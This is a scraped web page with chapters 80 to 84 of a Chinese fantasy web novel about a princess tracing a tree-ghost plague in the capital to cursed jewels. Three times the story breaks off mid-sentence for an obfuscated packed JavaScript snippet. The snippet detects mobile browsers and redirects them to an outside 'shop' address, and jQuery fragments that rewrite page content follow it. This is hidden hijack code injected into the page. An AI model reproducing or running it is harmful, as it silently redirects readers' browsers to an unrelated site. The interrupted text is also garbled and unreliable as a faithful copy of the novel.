折杞皱了皱眉,这样一张长久生活在异国他乡,需要看人脸色,并且还很少年气的脸,是摆不出能震慑他人的神情来的。 于是他接下来说的话,也并没有起到多大作用。 “你打痛他了。”他说。 身后众人开怀大笑,这些都是北衙里多少年的兵溜子,哪个不和权贵沾亲带故,在槐鬼没有落到自己身上前,是不能指望他们有所顾忌的。 譬如那头先说话的禁军,就是礼部尚书李知远的亲侄子李勇,同样是一脸兵痞模样,又道:“参军,对付这样的滑贼,就得打,打痛了他才长记性。” 趴在地上的男人抬头道:“大人,您发发慈悲放我出城吧!我不是周朝人,我是姜国来做买卖的!” 折杞心中起了恻隐之心,又想到人人都有家可回,唯独自己飘零不定。 他双手将那人扶起来,柔声道:“皇城贴的告示你可看见了?如今没有腰牌,一律不准出城的。” 男人手忙脚乱,眨眼间将自己脱了个精光。 禁军们哈哈大笑,男人近乎乞求道:“大人您看,我没被传染,就算放我出去也不会怎么样的。我求求您了,大人,放我出去吧!” 正值深夜,男人的呼叫声异常响亮,好在这里靠近城楼并无闲人,亦无槐鬼。 折杞正为难,李勇突然撤了抵在男人腰间的刀背,调笑着问道:“靖王殿下,您说放不放?” 靖王这个封号于折杞而言可谓避之不及的屈辱。 数月前岭夏王病故,将王位传给自己的儿子,也就是折杞的表哥。这位新的岭夏王即位后第一件事,就是派人送来周朝一封书信,信中封自己的表弟为靖王。 折杞兀自攥紧拳头,男人却不知这其中因果,还当真是哪位皇亲贵胄,观他不语,喜不自胜,捡起衣服向城门口奔去。 “靖王殿下,听说您围猎那日捕了不少猎物,才当上的这个官儿,依您看,我这箭术……” “不要!” 离弦之箭岂有收回之理,据城门口仅有一步之遥的人被当胸射穿,一丝声音都没发出来,就直挺挺地倒下去。 射箭之人正是抓他来的那名禁军,事发突然,折杞不由面色发白,李勇轻描淡写收了弓,笑道:“我这箭术,比之您的如何?” 若有出逃者,先空弦示警,若不停步,则射其脚下,仍不停步,即可射杀。 折杞望着城门口的尸体,再抬头已是面色平静,微微笑道:“箭术高明,我自愧不如。” 81. 第 81 章 李勇昂着头,走到那具尸体面前,抽出剑挑开旁边的包裹,金银细软从包裹里滚出来,李勇回头叫道:“兄弟们,拿些吃酒去。” “何处有酒吃?” “当然是——”李勇对这声音并不耳熟,纳闷地回过头。 城门外,一支军队浩浩荡荡而来,为首的是个身穿银甲红袍的女将军。 她眉骨比常人略高,一双凤眼凌厉有神,左眼之下有一颗小小的红痣。下巴微抬,左手握着缰绳,右手软鞭折了三股,在腿上随意拍打着。 □□那匹马颜色雪白,浑身皮毛泛着银光,马首鬃毛用红绳束了几股细细的辫子,辫尾坠着一串银铃。 纵使不认得来人是谁,李勇也听说过这匹白马的名号。 十年前,盛都城霍行野跟兰家独女兰令仪大婚,皇帝亲赐两匹千里马,一黑一白。 那匹黑马几个月前李勇有幸见过,也是鬃毛绑着几缕细辫,眼前这匹白马的主人,自然就是驻守南疆的兰令仪了。 李勇当即放下剑,跪地拜道:“兰、兰将军。” 不知兰令仪看见他射杀这人没有。 李勇阵阵心惊,马蹄声响了几下,兰令仪居高临下看了看地上新鲜的尸体,随后冷冷的声音自高头大马传下来:“我问何处有酒吃,你这么慌做什么?” 李勇冷汗涔涔,兰令仪目光扫了一圈,落在折杞身上,手中软鞭一指,问道:“你是管事儿的?” 折杞虽没见过兰令仪,但不至于没听说这位性情刚烈的女将军,垂首应道:“是我。” 兰令仪打量着眼前十六七岁的少年,以为又是沈博安哪门子亲戚,不由嗤笑一声,问道:“我问你,这死人是怎么一回事儿?” 李勇眼神求救,折杞目光抬了抬,答道:“将军,城中有宵禁,此人......违禁了。” “哦,违禁了......”兰令仪将他的话低声重复一遍,正当李勇以为躲过一劫,眼前骤然一亮,鞭声呼啸而来,肩膀连着后背随即传来一阵火辣辣的疼痛。 李勇被这当头一鞭抽中,忍不住叫了一声,那条软鞭仿佛银蛇摆尾,抽完了他又好端端收回兰令仪手中。 眼前这一切发生得太快,折杞险些躲避着后退半步,到底忍住了。 兰令仪低着头理了理手中的鞭子,慢条斯理道:“本将军在外头打了胜仗,沈博安就是这么派手底下的人来迎我的?” 兰令仪的父亲去年病故,她本该早就回盛都守孝,但那时南疆冒出来一股子流匪,剿匪耽误了一年,皇帝特批一道圣旨许她回京。 不过这早已是狩猎前的事儿,所以兰令仪尚不知盛都城这几月发生了什么翻天覆地的大事,更不知道她口中的沈博安早已魂归九泉了。 李勇一听愈发来气,他虽比不上皇亲国戚,但也是这禁军里面有头有脸的主儿,如今兰令仪刚回宫就劈头盖脸抽他一鞭子,让他今后的脸还往哪儿搁。 李勇忍者肩头剧痛,拍了怕官服站起来,道:“兰将军说的哪里话,我们奉命例行巡查,可没接到迎将军进城的旨意。” 李勇刚才被吓破了胆,此刻反应过来,自己是奉命行事,怕她兰令仪做什么,于是话语间自然带了几分不满跟胆气。 谁知话音刚落,又一鞭子抽下来。 虽然李勇这回有所防备,躲得及时,还是被鞭子带到了脸颊,划出一道血痕。 “你——” “你是什么狗东西,也配跟我说话。” 李勇没料到兰令仪如此嚣张跋扈,但也知道凭自己的官职,没有资格跟这位将军叫嚣。于是强自咽下这口气,躲远些不说话了。 兰令仪甩完这一鞭子,身后副将驱马上前,低头说了句:“将军,咱们五六年没回来,还是别惹事得好,快些进城罢。” 兰令仪不大爽利地皱了皱眉,一甩马鞭,身后军队随她而去。 路过折杞身边时,兰令仪道:“那人拉去埋了,晦气。” 等这阵尘土飞扬的马蹄声远了,折杞方走到李勇身边,问道:“大人,你还好吗?” 李勇感激刚才折杞没有揭他的短儿,语气也比刚才收敛不少,答道:“参军,多谢您了。” 折杞摇摇头,又道:“这尸体......” 李勇当即应道:“我去埋!” 李勇挨了一个半鞭子,自然不可能真的动手去埋。他随手指了两名禁军,道:“你们俩,赶紧拉去埋了!” 禁军快步上前抬起尸体,又忍不住眼馋地看了看散落一地的细软财宝,道:“勇哥,咱还去吃酒吗?” 李勇气不打一处来,抬脚踹道:“还吃个屁!你没见兰令仪那婆娘手里的鞭子怎么招呼的?” 有人嘟囔道:“兰将军也太凶神恶煞了吧......” 李勇冷哼道:“怪不得当年霍璋不要她。” 那人缩了缩脖子,小声道:“勇哥,可不敢当着兰将军的面说这话。” 李勇没搭理,转向折杞,笑容满脸道:“参军,实话说咱们才是一家人,日后你见了大殿下,可得好好告上一状!不能沈总督不在了,咱们北衙就任人欺负,是不是?” 城门口这队禁军说着话的功夫,兰令仪带领的这一骑轻骑已经到了盛都城内。 此刻天际刚露出鱼肚白,天光蒙着一层青灰,再有一炷香的时间就是早朝。 兰令仪于宫门前下马,进宫面圣,走了几步,又转身问副将:“阿南,你有没有闻到这城中怎么一股子槐花香?” 阿南道:“闻到了,这一路走来,城中似乎多了不少槐树。” “莫非传言是真的......”兰令仪思忖间,忽然听到一阵叽叽咕咕的笑声,目光寻去却未见人影。 那笑声来得快停得也快,兰令仪让阿南留下查看,自己进宫去了。 等到盛都城上空蒙着的那层青灰被第一缕阳光驱散,沉寂了一整夜的皇城又开始“热闹”起来—— 槐鬼醒了。 南衙桌案上堆着一摞公文,旁边放着一个跟这摞公文很不相称,十分精巧的首饰盒,盒子里放着的,是当日沈博安在莲花楼邀他们前去一观的宝贝:一颗墨绿色的龙睛泪。 “沈博安,到底是怎么弄到这颗珠子的......” 周昭已经足足盯着这颗龙睛泪看了小半个时辰,裴砚进来时,正听见她在自言自语。 “殿下,你怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16942645|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没把这东西丢出去?”他道。 裴砚总跟周昭说他觉得这龙睛泪不吉利,周昭抬头道:“裴砚,你来了,我要的东西带来了吗?” 裴砚将一份文书放在桌案上,道:“殿下,这是你要的名册,里面记录了最先发现变成槐鬼的二十个人。” 周昭拿起文书打开来,裴砚又道:“殿下是要找出源头?” “嗯。”周昭仔仔细细看着,“槐鬼出现得突然,但只要找到源头,我想就能找到彻底消除槐鬼的办法。师父说过,这世上发生的任何事情,都是有迹可循的。槐鬼也一样。” 周昭看完名册,眉头皱得更深,说道:“这二十个人男女皆有,姓氏出身各不相同,似乎没什么共同之处。” 裴砚并不惊讶,这份名册他在交给周昭之前已经看过好几遍。 此时,门外突然传来说话声。 南衙已经许久没人敢如此高声语,不消周昭开口,裴砚已经闪身出去。过了阵子,裴砚进来回话道:“殿下,是兰将军回来了。” “兰将军?” “兰令仪。” 周昭很快想起来镇守南疆的那位女将军,同样不可避免地想起霍璋来,人的好奇心总是如出一辙的,周昭站起身道:“兰将军回来了,我们迎迎去。” 尚未走近便看见一个红衣背影,一个女子的声音说道:“我当犯了什么大罪,原来就是想出城,这也值得一箭射死?” 周昭低声道:“出什么事儿了?” 裴砚答道:“今晨有人想出城,北衙将人杀了,碰巧被兰令仪撞见,兴师问罪来了。” 周昭一边走一边道:“将人杀了?谁下的令?” “还不知道。” “北衙杀了人,怎地到南衙问罪来了?” 正说着话,兰令仪何其敏锐,一早听见脚步声走近,于是回过头来。 周昭此前没见过这位女将军,乍一见,只觉其貌美之余英气逼人,目光之中威慑不弱于霍璋。 都说人的第一印象很重要。加之兰令仪是为一个素昧平生的百姓兴师问罪来的,周昭一眼便喜欢上兰令仪,以礼唤道:“兰将军。” 兰令仪却不怎么看重这礼,淡淡道:“这又是禁军哪位,生得好一张花容月貌。” 这话怎么听也不像是夸奖。 闫斯年道:“兰将军,这位是公主殿下。” “公主殿下?哪个公主殿下?”兰令仪当然知道盛都城还能有哪位公主,但话里话外却尖锐得很。 周昭不明其意,闫斯年却听得清清楚楚,暗自叫苦,好言答道:“自然是当今陛下的独女,明鸢公主了。” 兰令仪略略行礼,道:“不知公主大驾光临,失敬,失敬。”她明目张胆地打量周昭几眼,又道:“公主,您禁军的人滥杀无辜百姓,这事儿怎么算?” 周昭虽然不知道兰令仪的敌意从何而来,仍是温声道:“将军想怎么算?” 兰令仪道:“仗责五十。” 五十仗下去,底子差些的不死也要残。 周昭道:“闫统领,劳烦将来龙去脉仔细说一遍。” 闫斯年说完,周昭眸光一沉,应道:“好,就五十。” 82. 第 82 章 兰令仪来的路上就听说如今周昭是南衙主事,还当她要偏袒,谁知对方一口应承,倒是实实在在愣了一下。 这时,南衙上空又传来阵阵尖笑。 兰令仪蹙眉道:“公主,我这一路听说盛都出了个什么槐鬼,看来是真的了?” 周昭神色凝重,道:“将军回来的不是时候。” 兰令仪见她言辞真切,不禁笑道:“我多年不曾回来,不论有没有槐鬼,只要回来就是好时候。” 她神色从容,言语之中并无惧意,又道:“公主能否带我去看看?” 周昭惊讶道:“将军没在城中看见吗?” 阿南道:“看见了几个,将军非要来南衙再看看。”兰令仪低声斥道:“阿南。” 闫斯年心中跟明镜似的,兰令仪哪里是为看槐鬼,分明就是为了看在霍璋手底下,当了两年副将的明鸢殿下。 周昭是万万想不到这其中的弯弯绕绕,领着兰令仪往校场去。 校场的槐鬼此时都醒的七七八八,周昭小声道:“将军且轻些说话,这些人头耳朵尖,被他们听去一两句好笑的,就要笑个没完。” 兰令仪刚回来,并不是很清楚槐鬼的习性,问道:“这是为何?” 裴砚不耐烦道:“因为等他们笑够了,人头就会掉下来。等人头掉光了,连人带鬼就都死了。” “如此可怕的东西......”阿南忍不住后退两步,兰令仪觉得恶心居多,问道:“沈博安就是这么死的?” 周昭点点头,催促道:“将军,槐鬼到底是怎么传染的还不清楚,待在这儿太危险,快些离开吧。” 兰令仪看着她,不由欣赏道:“公主千金之躯,知此危险还日日守在南衙,现在我相信,两年前孤身前往雪松山送信的人是你了。” 世人都说兰令仪跟霍行野十年前大婚之日反目,死生不复相见,周昭还当霍璋这个名字是兰令仪的禁忌,没想到她远在南疆,连雪松山之困都知道得一清二楚。 兰令仪又问了几句跟槐鬼有关的,当她听到第一个发现的槐鬼,是北苑围猎之时沈博安带的新夫人时,问道:“北苑离盛都城远了去了,你们封锁皇城,难道不怕槐鬼从北苑一路蔓延出去吗?” 周昭道:“说来也奇怪,虽然槐鬼是在北苑最先发现的,但这之后所有的槐鬼都在盛都城内。” 兰令仪自言自语道:“这北苑,跟皇城到底有什么不一样......” 闫斯年道:“北苑人烟稀少,没有槐鬼也很正常吧。” “那就更奇怪了,南衙不是有这么多人吗?怎地你们都平安无事?” 兰令仪心直口快,闫斯年听了心中不大爽利,阴阳怪气道:“谁让咱们身强体健。” 北苑,围猎,陈夫人,观宝会...... 周昭因着兰令仪这么一提醒,找了这么多天的答案忽然间似乎就要呼之欲出。 她激动地一把抓住裴砚,低声叫道:“裴砚,随我去个地方。”又转过身对兰令仪道:“兰将军,我有件十万火急的事儿要去办,先失陪了!” 周昭拉着裴砚走了不远,迎面撞上周驰手下副将,对方见她匆匆要走,忙唤道:“公主殿下哪里去?” 周昭头也不回,小跑着道:“去北门一趟。对了,兰将军,谢谢你!” 周昭跑得很快,连那副将在身后说些什么都没听见。二人出了南衙策马向北,裴砚指着一条大道,“殿下,从这边走离北门更近。” “不,我们先去那名册上那些人家里一趟,我记得他们有几个就住在皇城以北附近,对吗?” 裴砚应了一声,跟上周昭。 等他们下了马找到第一户人家,一进门便看到满眼素色的灵堂布置。 周昭心口发紧,迈出去的脚步也不由自主想往后退,身后就是陪她来的裴砚,周昭又逼着自己往前迈了一步。 灵堂前坐着的老妇人抬起一双哭肿了的眼睛,她认出周昭来,勉强行礼道:“这是……公主殿下来了?” “大娘。”周昭扶起她,跟裴砚二人各自在灵堂前拜了拜,上了支香。 老妇人用袖子擦拭着眼角泪水,说道:“儿啊,你看到了吗?连公主殿下都来祭拜你了。” 沉默了阵子,周昭问道:“大娘,我有件事儿想问问您。” 老妇人急声问道:“莫不是殿下果真寻到对付槐鬼的办法了?”她问完又叹了口气,“可惜我儿无福消受了......” “......”周昭道,“大娘,我想问问北疆军回朝那天,您的儿子有没有上街去看热闹?” 老妇人微微困惑,裴砚补充道:“去年腊月二十五,当晚下了场大雪。” 老妇人回忆起来,喃喃道:“那天好像是有个什么将军的从外头来,听我儿说好像是叫、叫……” “霍璋将军。” “对,是这个名字。哦,原来那天回城的是霍小将军……”她接着道,“我儿那日一早就上街去了,晚上才回来。怎么,公主,这跟槐鬼有关吗?” 老妇人说到最后一句语气急切,周昭握住她的手,温声问道:“大娘,您还记不记得,那日您儿子有没有什么……跟平时不太一样的地方?” “……也没什么不一样的。”老妇人又仔细想了想,“对了,他那天回来跟我说了件怪事儿。” “什么怪事儿?”周昭追问道。 “……说街上呐,有个女娃娃装了一兜子珠宝,见人就发。对!我想起来了,我儿也捡了个宝贝。”老妇人说着,起身从里屋翻翻找找,拿出来一个珠宝匣子,打开里面是一串红珠玛瑙,“公主请看,这就是了。” “我说这东西一看就是有主儿的,让他还回去。”老妇人叹了口气,“谁知我那儿子偷摸着又给藏起来了,我也是昨日才发现。” 周昭又安慰了几句,临走时老妇人紧紧捏着周昭的手,那双带着皱纹的眼睛温暖地注视着她,缓慢说道:“公主,你是在苍界山上,在国师膝下,我们看着长大的,这回也一定能让大周渡过难关,对吗?” 周昭自觉心头有千斤重,一半是周朝百姓的殷切希望,一半是已经故去的江梅棠。 她回握住对方的手,微微一笑,承诺道:“我会的。” 出了灵堂,裴砚突然道:“殿下,你真的觉得……” 周昭侧目道:“裴砚,你不相信我们会渡过这次难关吗?” 裴砚摇摇头:“我不知道。” 周昭轻轻叹气道:“你能说不知道,但我不能。我只能反反复复告诉自己,一切都会好起来的,我不会辜负父皇的期望,不会食言于百姓,也不会让师父失望。” 周昭牵了狼牙,面颊在马脸上亲密无间地蹭了蹭,好在那阵颓废只是在她眼中一闪而过,便又恢复了往日的从容坚定,她展开一个明媚的笑,语气诚恳道:“但我真的相信我们能做到,是吗?裴砚。” 二人几乎同时翻身上马,一样地利落干净。 周昭勒住缰绳,道:“小时候我跟师父说事在人为,不言天命。师父当时说,不是所有事情都能任我握在手中,另一个人……” 周昭陷入回忆,微笑道:“也说我不知天高地厚。但我真的觉得,只要一个人没有死,那么所有事情都不至于到山穷水尽的地步。小时候是这样想,如今也这样想。你要问我对槐鬼一事怎么看,还是那句话,只要我活着一天,就一定要找出破解之法来。” 周昭一口气说了许多,见裴砚盯着她看,弯唇笑道:“裴砚,你是不是也觉得我不知天高地厚?” “殿下很勇敢。” “你不问我为什么?” “我只知道殿下吩咐什么,我就做什么。” 周昭无奈笑道:“裴砚,见你第一面还当你是个活泼性子,怎地如今愈发像个闷葫芦了。” 她扬起马鞭:“驾!” 裴砚少见地笑了笑,同样扬鞭跟上。 到了名册上第二家,最先变成槐鬼的人,果然也在北疆军回朝之时去过北门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947343|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大街,并且从那女娃娃手中得到了一颗珍珠。 至于名册上第三家,则得到了一枚玉石。 周昭神情渐渐凝重,走出几步,突然驻足道:“坏了,我做了件错事儿!” 裴砚尚不及询问,周昭匆忙道:“裴砚,前几日我让你去沈家取那颗龙睛泪,你是怎么拿到的?” “沈博安一死,家产都被他那几个弟弟分了。依殿下的吩咐,我是从沈博安三弟那儿取来的。” “他给你的时候,你碰过没有?”周昭语气急切,面容焦灼,裴砚不由愣住片刻,才道:“......匣子,算吗?” “还好,还好。”周昭轻轻吐出一口气,又道,“裴砚,你现在立刻回南衙,将那颗龙睛泪毁掉。不,你先别走!还是我去办,我去......裴砚,你再好好想想,这几天你有没有碰过那颗珠子?真的没碰到过吗?” 周昭一反常态言辞混乱,裴砚看着她道:“殿下是怀疑槐鬼跟那珠子有关?” “不光是南衙那颗龙睛泪,还有那天北疆军回朝时,那个怀里装满珠宝的女娃娃。”周昭像是说给他听,又像是自言自语,“我真笨!为什么没有早点想到这其中的关联?北苑最先发现槐鬼,但从那之后北苑再也没有一个槐鬼出现。” “南衙校场有那么多槐鬼,但偏偏很少有禁军被传染,不是因为北苑人烟稀少,也不是因为禁军常年习武身体好,是因为禁军那日都在北门列队迎北疆军回朝,根本没人敢去那女娃娃手中抢珠子!” “至于北苑,那里多猎户,没人会去数十里之外的盛都城就为看一眼北疆军,自然也不会接触到那些珠子。” 相较于周昭的慌乱急切,裴砚的表情可以说十分平静。 但周昭一心陷在那些让人眼花缭乱的珠宝里面,无暇顾及裴砚。她在原地转来转去,喃喃自语道:“如果真是那些珠子,是不是只要把它们都毁掉就可以了?可是万一、万一又像上回那样......” 裴砚看不下去,双手轻轻扶住周昭的肩膀,低声道:“殿下,你先别急。” 周昭是身份无比尊贵的公主,裴砚这一举动可以说十分逾矩,但周昭本就不在意虚礼,何况她现在头脑混乱,是没有空再去想裴砚为何跟平时不太一样的。 “殿下如果想毁掉龙睛泪,我现在就去办。” 裴砚语气平静,一丝疑虑终于浮上周昭心头,暗暗想道:“裴砚难道一点儿都不惊讶槐鬼跟这珠子的关联吗?” 但很快,周昭又被槐鬼一事占据了思绪,她冷静下来,道:“不,不能让你冒险。” 周昭思忖道:“裴砚,我们兵分两路。” “你去找闫斯年,将槐鬼跟那女娃娃之间可能有的关联说清楚,让闫统领立刻派人去找那天那个女娃娃,就说是我要找的。” “另外,再拟一封布告,上面就写朝廷要高价回收珠宝,这封布告写好后先不要发出去。我去找大哥商量该怎么办,至于龙睛泪要不要毁,也等我从大哥那儿回来再说。” 周昭这番话说得虽然快,但是条理清晰丝毫不乱,又道:“对了裴砚,那颗龙睛泪你记住,千万千万不能碰,一定不能碰!知道了吗?” 裴砚点点头,二人策马行至北城门。 两侧低矮的屋舍之间延申出一条笔直的大路,日头毒辣,灰尘浮动,路像悬在半空似的并不真切。 沿着大路再往南走就是南衙,往东则是平南王府。 这时,突然传来一声突兀的尖叫。 这尖叫跟平时听惯了的槐鬼笑声并不同,不是开心到极点的笑声,而是恐惧到极致的叫声。 周昭刚去北疆大营时,偶尔会在战场上听见这种声音,她循声望去,又策马往前走,低声道:“裴砚,你听。” “我去看看。” 不待裴砚□□马蹄调转方向,一个满头满脸都是血的男人,从大路尽头一间屋子里踉踉跄跄跑出来,一边跑一边喊道: “吃、吃人了!槐鬼,吃人了!!!” 83. 第 83 章 男人面色惨白如纸,一边跑一边回头张望,但他似乎瘸了一条腿,跑起来东倒西歪。 “他在喊什么?” “太远了,没听清。” “裴砚,你先回南衙,我看看去。”周昭勒住缰绳,“驾!” 男人显然也看到了周昭他们,就好像看见了什么活救星,表情抽搐简直要喜极而泣了,远远地举起双手挥舞道:“救——” 但他这一声求救没能说完整,身后那间房子里突然蹿出来一个东西拽住男人的腿。 速度极快,像一道黑色的闪电,将他整个人一下子拖进去,消失在周昭眼前了。 那东西又细又长,好似看见猎物时探出脑袋的毒蛇,也像一条柔韧结实的软鞭。 狼牙就像知道前面有什么危险的东西,马蹄往后退了几步,周昭弯腰在马头上爱怜地摸了几下,命令道:“狼牙,快带我去!” 马儿刚奔至大路尽头,周昭便急不可耐地从马背上跳下来,朝刚才男人消失的地方走去,边走边叫道:“有人在吗?” 回应她的是门后一阵细细簌簌、咔哧咔哧的响声。 这响声十分诡异,加之地上血迹斑斑,周昭不由警惕起来。 她小心翼翼推开半掩的门,一阵恐惧瞬间摄住心脏。 院内一棵参天槐树,上面挂着一颗闭目养神的人头,树干上是一张人脸。 槐鬼上的人脸周昭见过无数,脸上的表情有恐慌,有害怕,有愤怒,却从没见过像现在这样。 一张满眼泛着可怖精光的脸。 刚才呼救的男人被槐树藤曼紧紧缠绕住,一条腿从腰间撕开倒挂在树梢上,另外的半副身体则正在被送进一张血盆大口。 刚才周昭听见的响声,就是槐鬼咬碎人骨头的声音。 男人显然还没有死透,但他的嘴巴已经发不出刚才那样嘹亮的呼喊声,只能勉强一张一合,鲜血从他唇边满溢出来。 但周昭看懂了,他是在说:“救、救我......” 至于槐鬼,则对周昭的到来视而不见。他大嚼特嚼,吃得满嘴是血津津有味。 周昭浑身直冒冷汗,愣在原地好一会儿,才想起来拔剑。 隐隐发抖的手摸向腰间,却摸了个空。 只听铛地一声,一把雪白利刃从身后飞过去钉在那槐鬼脸上。 这一剑直中眉心,槐鬼惨叫一声,手里的半个尸体掉下来。 他像是才看到周昭二人,难以置信道:“你、杀我......” 树梢上的人头偏偏在这时候醒过来,叽叽咯咯地发出古怪的笑声。 裴砚走近拔出剑,又毫不留情地将那人头斩下来,笑声从枝头落进土里,很快化成一滩血水。 眼前红色的人血跟绿色的槐树血混合在一起,散发出一股十分恶臭的腥味儿。 “......裴砚,我们杀了个人。”周昭惊魂未定道。 “不。”裴砚摇摇头,“跟殿下没关系,是我杀的。” 他将剑上的血擦干净,看了周昭一眼,欲言又止。 二人从这条路又往回走,头顶烈日,让人心烦意乱。周昭本以为就快要找到一线希望,又因为突如其来的插曲,而让这本就不甚明晰的希望,再次笼罩在无边无际的阴影里。 “裴砚,你说槐鬼为什么要吃人?”她问。 “不知道。也许是饿了吧,饥不择食。” 周昭又问道:“刚才你有话要说,是什么?” “......”裴砚道,“殿下,你觉得槐鬼是人吗?” 周昭错愕道:“难道不是吗?他们变成槐鬼之前,都是活生生的人。” “那是在变成槐鬼之前。”裴砚轻轻扯着缰绳,“变成槐鬼之后呢?殿下,你听说过要吃人肉的人吗?见过身上长满人头的人吗?刚才那槐鬼已经丧失了人性,这样的东西,不能算人。” 周昭听出他话外之音,问道:“裴砚,你是不是从没想过,能把这些槐鬼变成原本的样子?” 因为压根不抱任何希望,所以对那些可疑的珠子,城中出现的女娃娃都不感兴趣。 周昭在北衙跟平南王府都没有找到周驰,连他那位从影随行的副将肖季言都不在府中。 大哥的副将,早上不就在南衙吗? 周昭隐约觉得她跟周驰有什么重要的事情刚好错开,于是调转马头回到南衙,却被闫斯年告知周驰也不在这里。 不光如此,整个南衙上上下下都隐隐透着股诡异而紧张的氛围,跟她早上离开时截然不同。 “殿下,您吩咐的事情都办好了,裴砚兄弟带兵找那孩子去了。至于您要的布告也已经拟好,现在要看看吗?”闫斯年说道。 周昭粗略看了眼布告,问道:“早上肖将军来南衙,所为何事?” 闫斯年目光躲闪,周昭愈发觉得不对,追问之下,闫斯年才吞吞吐吐道:“......肖将军来是想告诉殿下,槐鬼、槐鬼好了。” 周昭惊愕道:“好了?” “就是有个槐鬼突然间……他就好了,变成人了。” “真的?闫统领,这是天大的好事儿啊!”周昭激动道,“您该早点儿告诉我,那槐鬼在哪儿?怎么好的?” “因为对槐鬼来说是好事儿,对朝廷来说,实在是......不算好事儿。” 闫斯年这话说得云山雾绕,周昭听得着急,恰好折杞从外头走进来,他本是领着李勇来南衙求情的,被周昭抓了个正着,问道:“折杞,你来说到底怎么回事儿?大哥也找不到,他去哪儿了?” 折杞目光茫然道:“大殿下进宫去了,为的什么我不清楚,兴许是槐鬼吃人的事儿吧。怎么了,昭姐姐。” 槐鬼吃人不是刚发生的事儿吗,大哥这么快就知道了? “我来说!刚才殿下问我槐鬼是怎么好的,就是吃了人才好的!” 看着周昭惊愕的表情,闫斯年一鼓作气道:“殿下,北衙昨日不是有个叫李勇的,杀了名想要私自出城的百姓嘛。本来从前这种事儿也不是没有,李勇他们杀了人抢了钱财,都往乱葬岗一扔。但那天兰将军路过,甩了李勇几鞭子,李勇才把人好生拉去埋了。” “但巧就巧在,晚上黑灯瞎火看不清楚,李勇那厮埋人的地方,刚好有个新长出来的槐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951351|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼。那槐鬼不知怎么着了魔,等李勇他们走了,竟然把刚死的人挖出来吃了。” “谁知这一吃完,过了两日槐鬼突然好了!” 闫斯年本来也没想瞒,只是觉得此事过于离谱,连他自己都不大相信,不想说出来让周昭空欢喜一场。 “吃人就能好?” 闫斯年不置可否,心说万一真能吃人就好,那盛都城岂不乱了大套! 周昭又问:“这件事除了我们几个,还有谁知道?” 闫斯年露出一个苦不堪言的表情,周昭顿时明白这件事儿算是没瞒住。 折杞道:“昭姐姐,南北衙门禁军共有三万有余,大殿下又进宫去了,我看还是早做打算的好。” 闫斯年侧目道:“参军的意思,是要南北禁军都去守着槐鬼,不让他们吃人?” 闫斯年这话本来没什么,但落在折杞耳朵里就好像在说他管得太宽似的。他心思敏感,不由面色微红,没有吭声。 周昭表示赞同,道:“三万禁军太引人注目,莫说盛都城的槐鬼加起来也没有这么多,就算真有,动用禁军超过两百,一是要总督手中那块兵符,二是要兵部亲自下发的调兵文书。如今我们两手空空,人手有限......” 闫斯年立刻道:“兵部我熟,从前干杂活儿常去拿文书。” “好。闫统领,还劳烦您先将南衙现在余下的人清点清点,分别守在四条主干道上,人多的地方五步一人,人少的地方十步、或是二十步一人。禁军都要穿甲佩剑,尤其要提防,不能站得离槐鬼太近,小心那些会动的藤曼。如果有槐鬼敢吃人......” 周昭说到这里停顿片刻,闫斯年道:“殿下,吃人怎么办?” “先救人。” “万一......” “那就杀掉槐鬼。”周昭言辞果断,蹙着眉轻轻摇头道,“闫统领,最好是不要有这种二选一的情况。等这两百人派出去了,您去兵部取文书,我进宫去找大哥,一个时辰,不,半个时辰后在南衙碰头。统领,意下如何?” 周昭安排得有条不紊,军令果断,闫斯年不由对眼前这位公主愈发刮目相看,应了一声,即刻出门去办了。 至于折杞,他从小就仰慕周昭,时至今日也未曾变过。 他心中激荡,竟连自己来的正事儿给忘了,道:“昭姐姐,既然人手不够,我也可以去当守卫!” 周昭笑了笑,温声道:“折杞,有件更重要的事情需要你帮忙。” 她转身将桌上的布告拿起来,又仔细读了一遍,改了其中几句容易起疑的话,道:“你照着这上面的,在城内人最多的地方,尤其是北门,贴上几份布告。” 折杞通读一遍:“收珠宝......莫非是那龙睛泪!” 周昭手指放在唇上做了个噤声的手势,低声道:“尚未定论,莫要走漏风声,那便真的乱套了。” 折杞应道:“知道了,昭姐姐。” 望着折杞离去的背景,周昭忍不住有几分惋惜。 折杞聪慧,却因着身份这一层难有机遇,若能平安度过此劫,得找个机会向父皇引荐引荐。 84. 第 84 章 宫内不能纵马,周昭这一路走得急,光洁的额头上渗出些细细密密的汗珠子。 管事公公在前面带路,周昭嫌他走得慢,听见承乾殿三个字便匆匆忙忙跑去了。 那位公公甩了甩手中拂尘,哭笑不得道:“这位公主殿下......” 